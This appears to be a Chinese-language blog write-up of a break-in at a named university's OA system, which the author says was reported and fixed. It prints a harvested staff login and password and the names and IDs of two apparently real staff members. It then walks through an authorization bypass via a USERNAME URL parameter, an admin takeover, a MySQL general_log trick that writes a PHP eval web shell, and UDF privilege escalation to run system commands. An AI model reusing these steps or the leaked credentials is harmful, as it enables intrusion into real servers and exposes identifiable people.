某OA越权导致服务器沦陷(已联系修复)

俗话说:黑不了自己学校的黑客不是好黑客。这次我也像大多数黑客那样,黑了自己的母校,并且漏洞已经报送给学校修复后才写的文章。

信息收集

前期信息收集很重要,收集到的信息(下面要用到的)如下:

工号:9920110059
密码:123456asdf   # 这个账号密码是统一认证平台的

丁艺,id:1020130039,国防科技学院
毛光灿,1020030085,计算机科学与技术学院

OA的越权漏洞

登陆oa的方式有三种:注册用户,猜测用户的账号密码,和统一认证平台身份登陆

1.注册用户需要管理员审核,行不通
2.前期信息收集到的工号密码不能登陆oa 显示密码错误
3.收集到的工号密码可以登陆统一认证平台,但是没权限访问oa,如图

该用户被设置禁止访问oa的,但是注意URL:

http://oa.swust.edu.cn/logincheck_pt.php?USERNAME=9920110059

看到了一个地方USERNAME=工号,大胆猜测这里应该有越权,用前面收集到的工号试试

噗嗤,可以直接绕过,在教师的oa里面找了一圈也没看到可以利用的点。

那这就结束了吗?

当然不是!

既然这里要的是USERNAME,我们只要找到管理员的用户名就可以登陆管理员的用户了吧

管理员的用户名怎么找:猜呗!

http://oa.swust.edu.cn/logincheck_pt.php?USERNAME=admin

可能我运气好,直接猜中username=admin登陆了后台

GETSHELL

进了后台先收集一波信息:

OA服务器信息

物理路径

PHP&MYSQL信息

部分开放的端口

GETSHELL的要点

这里有个数据库用户管理,可以添加用户,添加一个用户,然后navicat链接

去mysql数据库看了一下,我创建的用户的权限和root用户的权限是一样的,但是都没有file权限

1
2
UPDATE user set File_priv ='Y';
flush privileges;

这样就有了权限了,但是还不能导出文件,secure_file_priv也没有限制导出文件,用另外一个方法

1
set global general_log=on;set global general_log_file='路径/t.php';select '<?php eval($_POST[t]) ?>';

菜刀链接测试:

提权

有很高的MYSQL数据库权限,就选择UDF提权吧。

mysql的pulgin路径:D:\MYOA\mysql5\lib\plugin\

但是不能导出dll,那只能在本地将dll导出,然后上传上去

创建函数:

1
create function shell returns string soname 't.dll';

函数已经创建是我之前创建过了,执行命令查看权限:

1
select shell('cmd','whoami');

后面的截图没了,很顺利的进入了服务器,也没什么可以写的.